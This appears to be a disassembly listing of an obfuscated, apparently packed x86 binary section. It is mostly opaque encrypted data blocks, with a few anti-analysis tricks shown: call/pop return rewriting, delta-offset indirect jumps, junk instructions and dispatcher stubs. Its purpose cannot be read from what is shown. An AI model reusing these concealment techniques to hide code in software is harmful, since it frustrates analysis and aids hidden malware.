		dd 59C407E9h, 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 1B0424h, 57470000h, 2ADD05C3h, 0D6B4AFEDh, 13E924h
		dd 0C1660000h, 0C091AE9Ah, 0D3C5A67h, 2479F50Bh, 5E7B73B3h
		dd 0B185C7A7h, 7E922h, 6A000000h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 17042444h, 40000000h, 7330C350h
		dd 0B5FF32E6h, 7E9170Dh, 0E850006Ah, 3,	58C35820h, 4244489h
		dd 4244481h, 14h, 0F1C35040h, 8B66F38Bh, 8595FFF0h, 6A07E922h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 1C042444h
		dd 42000000h, 9F66C352h, 0CD5FD54Dh, 89197A46h,	0E90FE19Dh
		dd 0FF006A07h, 0E90C3195h, 0EBC08B07h, 7E53F428h, 524C933Bh
		dd 2DAEBEB7h, 98D404E1h, 0E695FDA3h, 0B2DC8BCh,	89BB8DD5h
		dd 7F7CF378h, 920A2C9Fh, 2BF8DFFCh, 0AE8E2h, 36F60000h
		dd 350AE1FBh, 13F7AE28h, 9DF1E081h, 665F1E10h, 3AE1F281h
		dd 6196C781h, 0B5890000h, 7E91C15h, 6660DB2Bh, 0A710DB81h
		dd 2DDDB58Bh, 8B6107E9h, 8D8B1F34h, 7E9354Dh, 0BB49C681h
		dd 0F516DD3h, 186h, 815AFC00h, 67DBAFEEh, 12E95Fh, 0A1350000h
		dd 0FE73485Bh, 74DE9829h, 0A1AC8B9Fh, 337A42Ch,	7690C681h
		dd 0BF0F6273h, 816656C8h
		dd 8F9332E9h, 98B81F04h, 837966F5h, 35604EBh, 0E92AED8Dh
		dd 0FB815907h, 0FFFF9F1Ch, 14850Fh, 958B0000h, 7E906F5h
		dd 17E9h, 8045DC00h, 82C1BE20h,	0E6806727h, 0FF81E94Fh
		dd 0A53FFFFFh, 4B10A967h, 871D8D8Dh, 6A07EEh, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 170424h, 51410000h, 527A09C3h
		dd 13E825h, 0A2DE0000h,	2F8365E2h, 0D06E90BDh, 9DA2BB90h
		dd 0C14C38h, 0C185897Dh, 5F07E921h, 320D8D89h, 820F07E9h
		dd 6, 235BD0Bh,	85C707E9h, 7E922E5h, 5D08h, 0CF7EFEBAh
		dd 0B185C753h, 7E922h, 89000000h, 0E91B1995h, 1DB5FF07h
		dd 6A07E90Eh, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 18042444h, 47000000h, 0BEC1C357h, 9579FF0h, 0E91BB995h
		dd 3D958907h, 0FF07E920h, 0E9228595h, 55006A07h, 3E8h
		dd 0C35D2000h, 246C895Dh, 24448104h, 1604h, 0C3554500h
		dd 315D9F36h, 0E92DB98Dh, 74BF6007h, 61753548h,	95FF006Ah
		dd 7E90C31h, 6AEBC08Bh,	0C0E39E06h, 0B27F3979h,	84289BD2h
		dd 7F99A25Fh, 0B5B3E6D2h, 0D2DF96A9h, 3B7A5886h, 0AEDDA1DFh
		dd 7599D892h, 5A7F51EEh, 0E3E1F264h, 54EECEEDh,	7B759478h
		dd 0C95CA2C8h, 686906B3h, 960D29CDh, 79A334DBh,	799DBD0Ah
		dd 0C5035A3Ch, 7DCAE7Fh, 9DE6541Ch, 1CADE154h, 174CA6FAh
		dd 0D39DDF87h, 435EBF86h, 0C0D77906h, 9E82C6Dh,	0B2000000h
		dd 0F88D40D9h, 1D38B4E9h, 0E758589h, 0F5B07E9h,	686h, 0B0D08100h
		dd 8120969Dh, 65C9C3h, 61DBBA00h, 687030h, 29000000h, 0E9320995h
		dd 8B0F5E07h, 3, 0FFCEB70Fh, 0F0811E34h, 6BD3CA6Bh, 3CB5515Fh
		dd 52C7815Ah, 8B540905h, 0E907958Dh, 0D5EF8107h, 8B2E883Ah
		dd 0E917C58Dh, 4EF78107h, 891659D6h, 0E90EE595h, 333C8907h
		dd 7E9h, 684EAC00h, 42957138h, 7E9h, 0D6E37400h, 839A1449h
		dd 8903EE83h, 0E910AD85h, 0B70F4E07h, 14FE81C0h, 0FFFFF9Bh
		dd 2085h, 10E900h, 4F3F0000h, 32C99D8Dh, 0DAB2779Eh, 8E3B6BC8h
		dd 25E93394h, 0E6000000h, 0C0802570h, 619523BCh, 0E907E90Ch
		dd 0FFFFFF6Fh, 309D2AADh, 1D7251EBh, 0C5E0D3B7h, 40045D3Eh
		dd 0E9116BCEh, 512A786Ch, 12A11EEh, 0C2723203h,	256E9BD9h
		dd 256E93C4h, 12A0464h,	0C27A5230h, 30B364A4h, 0E8080F91h
		dd 0D9A67401h, 0E97A1269h, 12A1282h, 59E94AE0h,	50E56E9h
		dd 50E56B1h, 12A1205h, 3E9424Ch, 0C61C443h, 601E933h, 489F99A4h
		dd 0A92DFBF4h, 0DDAE1D64h, 802A1231h, 0EF6D4BF7h, 0A0B79B25h
		dd 822DFB20h, 0E83C07BEh, 85251286h, 12A1290h, 0E979120Ah
		dd 12A1233h, 5AE94938h,	50E4E85h, 50E5687h, 12A1214h, 68E941C2h
		dd 0BB8A6D77h, 15ADB40Eh, 12B88D9h, 562A7818h, 12A11E4h
		dd 0C2753206h, 25569B5Ch, 256E9385h, 12A0BC4h, 0C27D5560h
		dd 9E2D67C8h, 0B4A19B3Ch, 6C30C65h, 8A4C7256h, 604B72C5h
		dd 880E1608h, 0E83DFF7Dh, 4D2B1D67h, 0B4A3EC14h, 6C33159h
		dd 2DEA9154h, 0E97A126Ch, 12A1200h, 59E94AA1h, 50E5649h
		dd 50E56E1h, 12A1224h, 0E0E94258h, 12A1DE4h, 845A9406h
		dd 93459126h, 89B160AEh, 4D47F26Bh, 2E5B8F4Bh, 8A7515D9h
		dd 572A7810h, 12A11E4h,	0C2743206h, 255E9B5Dh, 256E9385h
		dd 12A07C4h, 0C27C5460h, 979D790Fh, 0FD62997Eh,	0E97B1266h
		dd 12A1205h, 58E94B23h,	50E5E08h, 50E5641h, 12A1278h, 0A4E94371h
		dd 39A14902h, 225FAF85h, 804C15EFh, 0ED5243Ah, 12AA105h
		dd 0CC9799C0h, 0E2DFB7Eh, 12A14B0h, 64979B18h, 822DFB39h
		dd 1401BC7h, 129FA53h, 590A1281h, 45A34A03h, 45AB1644h
		dd 1321614h, 516A1218h,	360A1DCFh, 38AA9329h, 89AF1DEAh
		dd 802A1281h, 445BB116h, 6B9904h, 0E979125Ah, 12A121Bh
		dd 5AE9492Ch, 50E4E8Fh,	50E5682h, 12A1296h, 0F2E94183h
		dd 0BFD1A2EBh, 64CCDB26h, 140DA1Bh, 129FA5Eh, 5B0A1206h
		dd 55A348C0h, 45AB16A5h, 13316E4h, 53681260h, 0C9070DF3h
		dd 67A7AC2Ch, 0FBA1C187h, 0E82FD385h, 12A120Fh,	0FAF70E9Fh
		dd 4EF71A86h, 1FFE005Bh, 4ABA2BB1h, 8425995Bh, 12A121Fh
		dd 4C709F8Bh, 29215EAh,	0FE2A1281h, 0C3E59321h,	6006D9B7h
		dd 0E97B125Ah, 12A121Bh, 58E94B2Ch, 50E5E8Fh, 50E5682h
		dd 12A129Bh, 39E94381h,	0EA712809h, 94A1F622h, 6C31071h
		dd 8958AF81h, 8CA715E8h, 6C498EDh, 93A96639h, 0D0AF21C1h
		dd 2A2DFB79h, 3C3D3FFh,	512A786Ch, 12A11EEh, 0C2723203h
		dd 256E9BD9h, 256E93C4h, 12A0464h, 0F305E983h, 29C08BA4h
		dd 0E91E0D9Dh, 0BD958907h, 3107E90Fh, 0E9252D95h, 8DC38B07h
		dd 0EE8C0C8Dh, 8E96007h, 44000000h, 0F2BEB361h,	61E09FA3h
		dd 320D8D89h, 6A07E9h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 140424h, 57470000h, 0BF0F59C3h, 0E585C7C3h, 0DC07E922h
		dd 6A000065h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 18042444h, 41000000h, 0DB3DC351h, 0F353495h,	68Ah, 75BD8900h
		dd 0C707E930h, 0E922B185h, 7, 57006A00h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1704h,	0C3574700h, 0B77EB792h
		dd 9ADBD89h, 0B5FF07E9h, 7E912D1h, 17019531h, 7E807E9h
		dd 39000000h, 87B9AE32h, 9D8BF701h, 7E91339h, 8595FF5Bh
		dd 6A07E922h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 17042444h, 45000000h, 8A93C355h, 6AF501AEh, 3195FF00h
		dd 8B07E90Ch, 6119EBC0h, 5B3F87B7h, 0B2B49B3Eh,	19DBC189h
		dd 6AE2D934h, 71941453h, 259E70B9h, 27E9h, 0D5B71C00h
		dd 14h,	8 dup(0)
; ---------------------------------------------------------------------------
		jmp	loc_5DCF3B
; ---------------------------------------------------------------------------
		db 11h,	0FAh, 7Ah
		dd 0C7B559FBh, 126C822Eh, 63E13163h, 0A9D366D2h, 27939404h
		dd 69CB6A12h, 9F39B438h, 0C36D0078h, 0C1A64F29h, 38ECACE5h
		dd 1624286Eh, 5527C894h, 0DC782F9Dh, 4E4E43C5h,	0C6305CC5h
		dd 0ECF64EDCh, 69B5C768h, 113B9F5Bh, 1E339F67h,	0D765D75Eh
		dd 0A54B13A5h, 0B1790BDBh, 0B9BB517Dh, 0B7C56965h, 2FCE626Fh
		dd 882557E5h, 0FC710B2Ch, 61BDBF50h, 8075CE67h,	6B109001h
		dd 0A200305Ch, 744C6A0Bh, 8B0918BCh, 0A03A44BBh, 5CA6B1F1h
		dd 0E0776330h, 0C22E0A98h, 3646E91Bh, 4BFF1DBFh, 790BDBA5h
		dd 60F551EBh, 8D678813h, 982EF72Ch, 9E66E43Ch, 0F6F02C04h
		dd 0F465255Ch, 5E56305Bh, 583FEB85h, 0D31F8509h, 5CA39732h
		dd 7CD87630h, 4143A3D9h, 2F0B7185h, 7F91AC3h, 67843102h
		dd 76h,	0D6A04A43h, 0C515970Eh,	0FE12305Ch, 0E042825Fh
		dd 1BC8430h, 6000000h, 46C4DC78h, 662ACEEAh, 5351AD2Fh
		dd 73A32BBDh, 0DBE539F1h, 419DDF73h, 2FC3F743h,	7021BB4Dh
		dd 305CC530h, 3A76C2E0h, 0E332869Eh, 4673D361h,	8CEE0CC8h
		dd 86AA32B0h, 5E9A28F4h, 0B5598B32h, 26B02EC7h,	5CC52B6Bh
		dd 73BFE530h, 0A5FDB547h, 0C52E6E23h, 0BCE6305Ch, 3ECCD62Eh
		dd 0DC7813B7h, 0E5FF47C5h, 45ADCF61h, 64B8BC51h, 6EB6C468h
		dd 1ECA739Dh, 40EC81FBh, 5874C8AAh, 4078C4B6h, 7DD91DBCh
		dd 77549CD8h, 8430DA7Dh, 7EF9h,	0A74AC900h, 0AB4D09D5h
		dd 0AB410DD1h, 0B35975C9h, 0BF517DC1h, 46361BDh, 24A151F8h
		dd 30B2E26Ah, 0F61AD6ECh, 0FB789D57h, 54EA16E3h, 59FE5E1Bh
		dd 0B01C9127h, 0DD9CD89Dh, 0D9D7DB81h, 0C7DFFB4Bh, 42BB345h
		dd 621DA874h, 0A930B71Eh, 8A48C22h, 0FD7554Ch, 0DD15343h
		dd 0ED0DAC40h, 0F320C975h, 84311B01h, 527Dh, 0A74A4500h
		dd 0AA4D09D5h, 7D9772D2h, 770528DCh, 0A6D679E5h, 4AC3474Ah
		dd 1C62D3A6h, 0F12E272Bh, 26B4C055h, 7B36C0DEh,	305CBD3Bh
		dd 6263CFD5h, 305CBD47h, 0AB4BF206h, 4A9D8411h,	49AD398Ah
		dd 5C585858h, 0EEAB830h, 314D43BDh, 1A384h, 4A070000h
		dd 0B4ECA4h, 68FE8CEEh,	0B04147DEh, 5C6AD2D4h, 0DE7C5894h
		dd 292F409Ch, 0C8B24480h, 0FB1DB925h, 0CB27BD81h, 0FA8C1B16h
		dd 0B4E98C87h, 24F8AA37h, 66F082A8h, 7172ECCFh,	8068F46Ah
		dd 0EC25A13Dh, 6148068h, 0B7F9A874h, 9D2872D6h,	5620CA78h
		dd 9E66F48Eh, 9D61E332h, 0DB27C6CEh, 0C50FAEA2h, 0CA84537h
		dd 4B08CEEh, 58F284F6h,	72D76929h, 31F9AB28h, 47E62EFDh
		dd 600D6F8Dh, 1ACDE123h, 688E568Ch, 3887DA16h, 23000001h
		dd 5D54EE78h, 305CC55Dh, 0FCBCEDB7h, 14305CC4h,	6C8FA28Eh
		dd 713061FBh, 0A137B59Ah, 85972303h, 3CDE7AFBh,	0E2CA842h
		dd 6C68846Ch, 9B50ACCEh, 0FA10D475h, 744CF578h,	0B98C1A0Bh
		dd 0A07CF81Dh, 99198822h, 7B2873A5h, 27ACC129h,	36000000h
		dd 9B2DBAB3h, 5CC4C6E6h, 88544EB0h, 5CC49919h, 0A9507CB0h
		dd 60FA7186h, 5CC59131h, 8C218330h, 0C23Bh, 0A0B34B00h
		dd 0FB89EB01h, 94B53061h, 5F0737B5h, 677DC1BBh,	0C8B9E78Bh
		dd 287393C8h, 32C45A48h, 0DB2D329Bh, 0A8049E11h, 7123BA3Dh
		dd 3B77C30Dh, 23357D9Fh, 6EFF8559h, 35155B00h, 3CB147CCh
		dd 24F87A90h, 73B6607Dh, 8AF41A28h, 85071EBAh, 51F81CB9h
		dd 39E0F4A1h, 79136D8Fh, 0E076C4DDh, 0DD20089Eh, 28CE6F8Ah
		dd 66F48E56h, 2A30DDD4h, 47623066h, 0AB4F8CF7h,	96EC44D1h
		dd 0B814E87Eh, 0BC56E092h, 8553C5C5h, 20514F20h, 20855460h
		dd 945CF2B0h, 97DB7C58h, 9E24F880h, 88983408h, 0D167E53Ch
		dd 0B756BE0Dh, 15B4D84Bh, 0E980F2Ah, 547D3D74h,	0D972085h
		dd 21CEC325h, 6D2877C8h, 0B304BE37h, 8A537A0h, 89AEE999h
		dd 47A18920h, 4E409D4Ah, 53B3F138h, 0AABD567h, 0CDC48CAEh
		dd 5B65B94Fh, 8D245DF3h, 2A569ACCh, 0CCD62EBCh,	0E9F76564h
		dd 0C25C1B13h, 27AC162Bh, 0DD153C1Bh, 3EDC08B1h, 0EF01F3Bh
		dd 0A1372023h, 0E88AA00Ch, 0EA68B814h, 3AE3E51Ah, 63126C8Eh
		dd 85591B31h, 0AD2h, 688C4800h,	78B03212h, 4AF6544Ah, 430FD7A1h
		dd 5B77CFA9h, 5C78C4B4h, 537FC745h, 6A66BEBEh, 6D69B5C7h
		dd 636FB735h, 6753B3CDh, 5E55A9D3h, 81E68956h, 4C6h, 4EE8300h
		dd 8B243487h, 0EC832424h, 243C8904h, 81E68956h,	4C6h, 4EE8100h
		dd 87000000h, 895C2434h, 0D6BF2404h, 8165747Eh,	0CF393FE7h
		dd 0ACF8118h, 0F766B978h, 0BAB850D7h, 319EEC0Bh, 876858C7h
		dd 8900007Bh, 4812424h,	424h, 0BF685800h, 89000056h, 408F243Ch
		dd 2434FF08h, 4C48358h,	51243C8Bh, 0C181E189h, 4, 4C181h
		dd 0C870000h, 47E95C24h, 80FFFAEAh
		db 3Eh,	52h, 21h
; ---------------------------------------------------------------------------


loc_5DCF3B:				; CODE XREF: sdfs____:005DCA10j
		mov	eax, 7EE90F6h
		add	eax, ebp
		jmp	eax
; ---------------------------------------------------------------------------
		dd 49852E7Eh, 761F8E7Dh, 3D4C60F0h, 63B2CDC4h, 726F7B7Eh
		dd 3A3155A6h, 6D90E388h, 78B9D4Ch, 69B32CB1h, 79CE66CAh
		dd 0B0E9h, 8C666000h, 4C2F6DAh,	0C850Fh, 853B0000h, 7E92669h
		dd 36840Fh, 853B0000h, 7E916B5h, 2A840Fh, 853B0000h, 7E9347Dh
		dd 1E840Fh, 853B0000h, 7E91975h, 12840Fh, 0BD830000h, 7E91C01h
		dd 5840F01h, 0E9000000h, 5Fh, 5203D08Bh, 88BA8B3Ch, 8B000000h
		dd 0C985784Ah, 49840Fh,	0C2810000h, 0F8h, 30C728Bh, 1C598BC8h
		dd 314518Bh, 850B8BD8h,	10840FC9h, 3B000000h, 17820FCEh
		dd 3B000000h, 0F830FCFh, 83000000h, 0F4A04C3h, 0FFFFDC85h
		dd 0DE9FFh, 9D8D0000h, 7E94D5Ah, 5B8h, 61E3FF00h, 0E8D00BC3h
		dd 14h,	3A5A340h, 0E9EAF33Eh, 0EEF2CBB6h, 1F250990h, 0AFB65525h
		dd 19F4D781h, 53597708h, 0C1815FF5h, 6A2Eh, 1A6068h, 0DF8B6600h
		dd 9E85Ah, 9DCD0000h, 0B47DDA89h, 52B703ECh, 58F8B70Fh
		dd 0E831FF58h, 0Ah, 0F5D8BFEh, 325DF423h, 0BD23EECAh, 7E90A89h
		dd 95295E5Bh, 7E93455h,	0C7C1C681h, 0BB663199h,	0F6810FEDh
		dd 99B3DE1h, 779BD8Bh, 0F68107E9h, 0E9AC90h, 68D0F56h
		dd 89000000h, 0E90B619Dh, 0E9018F07h, 0Ah, 25910D92h, 2ED2F797h
		dd 0E983776Ah, 0FD858B04h, 8107E91Ch, 1EAh, 92850F00h
		dd 66FFFFFFh, 8D8DC68Bh, 7EE93B7h, 320D8D89h, 0B86607E9h
		dd 85C74356h, 7E922E5h,	6C7Ch, 0AE8h, 4AB34D00h, 0E3B58D57h
		dd 0BA29061h, 0E908FD9Dh, 85C75807h, 7E922B1h, 0
; ---------------------------------------------------------------------------
		push	0
		push	edx
		call	sub_5DD11F
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5DD11F	proc near		; CODE XREF: sdfs____:005DD117p

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 17h
		inc	edx
		push	edx
		retn
sub_5DD11F	endp

; ---------------------------------------------------------------------------
		sbb	eax, 8B2B13D6h
		mov	ch, 41h
		psubsw	mm0, qword ptr [edi]
		push	dword ptr [ebp+7E93151h]
		call	dword ptr [ebp+7E92285h]
		push	0
		push	ebp
		call	sub_5DD150
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5DD150	proc near		; CODE XREF: sdfs____:005DD148p

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 1Dh
		inc	ebp
		push	ebp
		retn
sub_5DD150	endp

; ---------------------------------------------------------------------------
		dd 6BE22074h, 472F6DD5h, 6ABC1Eh, 0C3195FFh, 0C08B07E9h
		dd 927148EBh, 0D5B56731h, 3893A797h, 5523BE72h,	585DAA84h
		dd 8C4EE81Bh, 0C3CC8826h, 0CFC89E1Dh, 0DCEF76AAh, 97738FF6h
		dd 5B395D25h, 77F22A60h, 0D8AB80F6h, 3E7E0C58h,	0ACCBB840h
		dd 48F295E1h, 0E8F01160h, 855EA9CDh, 95E9E4C3h,	0C4000000h
		dd 575D4FB1h, 6F646E69h, 58207377h, 68432050h, 656B6365h
		dd 75422064h, 20646C69h, 69766E45h, 6D6E6F72h, 20746E65h
		dd 6570202Dh, 74206C72h, 2E747365h, 6C70h, 17h dup(0)
; ---------------------------------------------------------------------------
		jmp	loc_5DE108
; ---------------------------------------------------------------------------
		push	7EE9633h
		jmp	loc_5990C8
; ---------------------------------------------------------------------------
		push	7EE96F5h
		jmp	loc_5990C8
; ---------------------------------------------------------------------------
		push	7EE98C2h
		jmp	loc_5990C8
; ---------------------------------------------------------------------------
		push	7EE9901h
		jmp	loc_5990C8
; ---------------------------------------------------------------------------
		push	7EE99F6h
		jmp	loc_5990C8
; ---------------------------------------------------------------------------
		push	7EE9A8Dh
		jmp	loc_5990C8
; ---------------------------------------------------------------------------
		push	7EE9E81h
		jmp	loc_5990C8
; ---------------------------------------------------------------------------
		push	7EEA0BCh
		jmp	loc_5990C8
; ---------------------------------------------------------------------------
		push	7EEA190h
		jmp	loc_5990C8
; ---------------------------------------------------------------------------
		db 0B2h
		dd 0A1108E5Ah, 973AA064h, 8948567Eh, 0FD5C4A8Eh, 0C9677F9Fh
		dd 0C90D0B67h, 0FE2660D1h, 0ED3551E0h, 9D4D44F5h, 51DAAE05h
		dd 0A92E18EBh, 0EA7AEAAFh, 2E18DB41h, 0E13E9FA9h, 53E5FC3Dh
		dd 6E88584Fh, 0C6DC0C03h, 0D4C4DA6Fh, 289D925Fh, 0AFCB08A9h
		dd 566C40E8h, 0FF70B99h, 0FFCC7383h, 43410013h,	61786783h
		dd 3804h, 16535800h, 0C1801080h, 0F9E600C4h, 9F1479E2h
		dd 556A928h, 0C06C0797h, 5F99566Ah, 27A73A6Bh, 655BFCCh
		dd 0C3C7B9Bh, 0DF9955F2h, 9FF743A3h, 0CB14004Bh, 0CEh
		dd 0DB584F8Dh, 3F84EC50h, 0D2CDACA1h, 0A6E7EC0Eh, 48E37361h
		dd 0A13F84E4h, 0CA4C57A4h, 7765A9E7h, 0F416BAD6h, 5F22D4CFh
		dd 137E9848h, 48F47FFCh, 0A13F84h, 8F14B2F3h, 0A13F896Ch
		dd 8E14C4DBh, 5BC16AFAh, 1FA13F7Fh, 7BB864BEh, 6EBAD160h
		dd 0BA2CB90Ch, 6D069626h, 0A13F7FBFh, 0E70DD932h, 0AD640D94h
		dd 87A92891h, 0ABE56474h, 73E27863h, 7BF0E0F6h,	0A142459Fh
		dd 0BD1C8CCFh, 0AC2DBF5Fh, 241A575h, 504E0387h,	8571F38Ch
		dd 0DEF82E00h, 0C4737h,	0F4247C00h, 0EE2E6BEEh,	9C4841F0h
		dd 0B058B306h, 0A569A72Ah, 319D873Dh, 26AB33D3h, 17BA20ECh
		dd 0ACFD7FBh, 60DFC713h, 1B250BA0h, 0D0E5A92Eh,	8D514F74h
		dd 0BD6DA415h, 16539125h, 2263A7E2h, 9F5805AEh,	4192A928h
		dd 6AC67625h, 7D819956h, 0D2E90D89h, 0A19113FFh, 37000000h
		dd 0CA84584Fh, 0D1E9567Bh, 0A9081253h, 484FAB6Bh, 0A13FFAAFh
		dd 0D8338198h, 66EBF330h, 2687E32Fh, 169D0FA1h,	0A929031Fh
		dd 123EB5F5h, 0D69956DFh, 0E75E4485h, 0FD5C4C62h, 0D71C7EA2h
		dd 43AC3CCCh, 8E2A0CB8h, 33DB34B9h, 30ABE8D7h, 42713EABh
		dd 5D4F8CA1h, 607E9EFCh, 6E13B3D1h, 2E00D7C8h, 85E87593h
		dd 0BA00000Bh, 0A928B662h, 9F32A86Ch, 0F1405E86h, 0E5547296h
		dd 0C17F67A7h, 0F115735Fh, 0E62E68E9h, 953D59F8h, 85554C0Dh
		dd 49E2A61Dh, 0A92E1AE3h, 4FB612A7h, 0A4158D51h, 9125BD6Dh
		dd 6E88584Fh, 2309A232h, 0E7A13F85h, 574E0D94h,	25A2138Bh
		dd 578A21B3h, 0B5A928B3h, 0E55744A6h, 0E4995655h, 0BE0367A7h
		dd 0AF5DB965h, 58B951B5h, 2272C026h, 5613FFE7h,	7, 8478B0Eh
		dd 53290000h, 80108016h, 3F8445EBh, 0EBF605A1h,	0CB62CD5Dh
		dd 0A74F19D6h, 2E7FE4FFh, 34A928BDh, 0ECFC327h,	64D3CE12h
		dd 5FEFFD2Dh, 565A68D4h, 45DF2099h, 0F238F12Bh,	0CC465D82h
		dd 0A0CA160Dh, 99B96BEBh, 0B72F5100h, 0E4E22E65h, 88923E55h
		dd 11731A03h, 43A3E732h, 7866B2E9h, 8216C2D9h, 0A0C512ADh
		dd 77124FAAh, 0B41D088Fh, 2D7D3210h, 0CFC973ACh, 0BFFCE307h
		dd 918D145Bh, 5BB71675h, 756C53B7h, 9B03CFC6h, 3551DF36h
		dd 0CD9759E1h, 3B789B26h, 2D67E6FAh, 38428A83h,	3190FA3Bh
		dd 0E7EC0EDAh, 0EADB3BA6h, 0AD93185Dh, 6D32117Eh, 30BB296Eh
		dd 39FAA1CDh, 28149F0Fh, 0C72A285Dh, 9CF0F9A6h,	0A7B4DC7Ch
		dd 182B7866h, 706076F3h, 0FE2A61E0h, 0A74C579Ch, 3210C5CEh
		dd 12FC4E4h, 0B9223E79h, 169D75BAh, 4F5A19h, 0D07CF787h
		dd 88442D97h, 0E425ED29h, 930542FDh, 8A1E2E01h,	0A9FE77D2h
		dd 2439B232h, 0BE4C16E4h, 0BADC041Fh, 95E62EB5h, 0A2CE2171h
		dd 44A0F6D7h, 992E8118h, 91E9507h, 1F4431E0h, 100DCCDCh
		dd 0F657D5CCh, 64A1209Fh, 0A1052BA0h, 91E23458h, 0BB5ADF89h
		dd 62A3B0D8h, 12BED564h, 328FBF91h, 0E580AE4Dh,	9B8h, 5D45958Dh
		dd 677F9FFCh, 756DB9D2h, 9901C9C4h, 0AC3ADA38h,	42402C36h
		dd 5BB50482h, 6AA62BB3h, 829938A6h, 11934856h, 2E1CB69Ah
		dd 852772A9h, 0F788584Fh, 0DE2B940Bh, 7955F01Eh, 4E000009h
		dd 0BD1C8A56h, 9326BC60h, 8534527Ah, 0F958468Ah, 0F5637B9Bh
		dd 0C509076Bh, 0FA227CDDh, 0E9316DECh, 994940F1h, 5DD6AA01h
		dd 0A92E1DEFh, 4F42EEABh, 36E8858h, 49D9C105h, 650FD7E6h
		dd 2FBA9B28h, 2DBA6162h, 0F38229BBh, 79A92924h,	0EFA979B6h
		dd 4153DE03h, 570186AAh, 0AA314299h, 83A94262h,	47995701h
		dd 901FF734h, 5B145B6Dh, 0A8776DFAh, 0D2B31A15h, 73BC2C6Dh
		dd 5FB30B3Fh, 4841F54h,	10BCD574h, 49D2C9F6h, 0DF8330F4h
		dd 0EE366FEEh, 0ECC20DF3h, 13E93886h, 0C3821657h, 0FBF802CAh
		dd 125716E0h, 90670C9Ch, 0A6D79D94h, 0F53ADA37h, 9FF657E7h
		dd 66CA6173h, 22C7C454h, 140BCAD1h, 55301C97h, 0B4CFC7C4h
		dd 0DDF9064Bh, 0E52A2943h, 21938F7h, 67311F94h,	0EAE9C7C4h
		dd 6324B9A9h, 27A2E327h, 2BF72EA3h, 0AF10F256h,	0C26B75F8h
		dd 884h, 29B161B9h, 33AB6BA8h, 4159859Eh, 554D95F0h, 7866A6E4h
		dd 0E0C60C2h, 2761D0CEh, 3652E7FFh, 4E45F492h, 0DDAF0482h
		dd 2E1DEA56h, 49EBAEA9h, 15C5DF7Eh, 86006792h, 95F1369Fh
		dd 8D8433AEh, 0DC3EE63Fh, 5C345697h, 637EA2FDh,	8A10B8D4h
		dd 3FC29FEDh, 579CEA1h,	0B4A7C30Bh, 43F37A41h, 155A9B24h
		dd 5C49EC87h, 0FB8BA92Eh, 5133CC70h, 0F42D8C99h, 4081CE28h
		dd 30A0B359h, 30AE7A91h, 3C5E8A81h, 73973755h, 552EF22Eh
		dd 263A3BFDh, 0EDDB628Ch, 0C2000007h, 31801ECAh, 27AA30D4h
		dd 19B826EEh, 0DCCDAFEh, 79D7CF0Fh, 597D9BF7h, 4E96F041h
		dd 7DA5E150h, 6DBDD465h, 0A14ADE75h, 0A92E1E7Bh, 4FDE7A3Fh
		dd 36E8858h, 63CCDC0Ch,	5FEA1238h, 1CFAE155h, 0F527DFC3h
		dd 0A5C57E9Eh, 0D2996C7Bh, 3A5AF5EDh, 0C90C167Ah, 9880266h
		dd 3FEFBE62h, 34797AA1h, 0D0C7583Fh, 0B8F9E600h, 0BED8FC19h
		dd 0B67D2AB1h, 13000004h, 10801653h, 2E18BE9Bh,	7D6F6CA9h
		dd 8D15C5DCh, 98405CFDh, 0D234E039h, 125BF6EDh,	62057294h
		dd 0C512BD5Dh, 9AE703CBh, 27305A7Eh, 7C703E3h, 27FC933Fh
		dd 0C2FC1D42h, 6D7E9624h, 4AEA8D71h, 0A2000000h, 0B801B17Eh
		dd 876F1FD5h, 8E28A11Ch, 0CFCB8A1Ah, 250B900Bh,	9DA14014h
		dd 13BA660Dh, 717EA140h, 38E2866Ch, 504B8897h, 484FABA8h
		dd 0C1A75E24h, 48B3536Fh, 5F4A8E89h, 7D9F96FEh,	7C22Ch
		dd 8B9A0000h, 194h, 9C1A5329h, 0F15A3D7Ah, 738F1AABh, 24EF0793h
		dd 249B8583h, 3D000000h, 7A9C1A53h, 0ABF13B3Dh,	7492AC1Ah
		dd 8320CE26h, 90925D85h, 30D21C1Bh, 0E2227F42h,	7C8EE7h
		dd 53C60000h, 4D0C9C1Ah, 94148F4Fh, 3F85311Fh, 14EAE9A1h
		dd 0BAA36BDBh, 6FDD56E6h, 2BA13FC7h, 0A95DB128h, 43878342h
		dd 0CA13827h, 0C1671E8h, 4990h,	1A533400h, 524D0C9Ch, 24F42B8Eh
		dd 86069DC2h, 3F8441EDh, 91FEFDA1h, 8DACDC13h, 88D91018h
		dd 0C3715011h, 89ED29DDh, 160C177Bh, 55B15DB7h,	1312736Eh
		dd 4A000000h, 15C5DF7Eh, 7D09749Dh, 158CCDE9h, 0DF62h
		dd 938B0600h, 29000000h, 7A9C1A53h, 8FC8663Dh, 0C6297BF6h
		dd 0AF74A120h, 58B615DEh, 15F12DB4h, 67367D99h,	5FED61h
		dd 53A30000h, 670C9C1Ah, 0A13F84B9h, 874F4809h,	9F657C63h
		dd 0EB7D3A5Ch, 7CC15FB1h, 0AE72AD2Ch, 6CE40B4Ch, 2FD2BDB6h
		dd 4D4CBEEh, 8E6FDE2h, 464450DEh, 20342C37h, 68000000h
		dd 0C9C1A53h, 3F84B967h, 186271A1h, 5FB1C993h, 0C620420Eh
		dd 36E12C48h, 75C79h, 8B700000h, 58h, 88584F29h, 8500296Eh
		dd 0B3CBA13Fh, 16C2D953h, 1A53CC88h, 8AF6779Ch,	3C8660A6h
		dd 0A13F924Ah, 109B2BB9h, 0A13F782Ch, 58A26EA5h, 0E7E2F11Bh
		dd 16C12F46h
		dd 0FF465B0Ch, 8B7DFFFFh, 2ADh,	1A67D21Dh, 0D5F569D5h
